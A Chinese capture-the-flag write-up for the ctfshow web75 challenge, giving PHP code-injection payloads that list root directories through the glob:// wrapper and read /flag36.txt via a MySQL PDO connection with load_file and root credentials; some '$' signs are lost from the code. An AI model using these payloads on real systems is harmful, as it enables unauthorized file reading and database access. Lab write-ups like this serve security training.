ctfshow web75

开启环境:

先直接用伪协议获取 flag 位置

c=?><?php a=new DirectoryIterator("glob:///\*"); foreach(a as f) {echo(f->__toString().' ');} exit(0); ?>

c=try {dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach(dbh->query('select load_file("/flag36.txt")') as row){echo(row[0])."|"; }dbh = null;}catch (PDOException e) {echo $e->getMessage();exit(0);}exit(0);

try {

创建 PDO 实例, 连接 MySQL 数据库

$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。

foreach(dbh-\>query('select load_file("/flag36.txt")') as row) {

echo($row[0])."|";

}

$dbh = null;

}

catch (PDOException $e) {

echo $e->getMessage();exit(0);

}

exit(0);

相关推荐
千里马学框架7 分钟前
安卓15开机启动Fallbackhome去除--成果展示
android·性能优化·手机·车载·aosp·fallbackhome
Wgllss12 分钟前
大型异步下载器:基于kotlin+Compose+协程+Flow+Channel实现多文件异步同时分片断点续传下载
android·架构·android jetpack
kymjs张涛28 分钟前
前沿技术周刊 2025-06-03
android·前端·ios
_一条咸鱼_30 分钟前
Android Runtime JIT编译器核心技术原理分析(36)
android·面试·android jetpack
_一条咸鱼_35 分钟前
Android Runtime异常处理与跳转指令实现源码(35)
android·面试·android jetpack
程序员小刘41 分钟前
React Native 跨平台开发:iOS 与安卓原生模块高效交互
android·react native·react.js·ios
Nick同学42 分钟前
原生 PHP 操作数据库的方式
数据库·后端·php
Digitally1 小时前
如何将数据从 iPhone 传输到 Android?
android·ios·iphone
星--空1 小时前
Android 实现可拖动的ImageView
android
张风捷特烈2 小时前
每日一题 Flutter#10 | Dart 空安全六君子
android·flutter·面试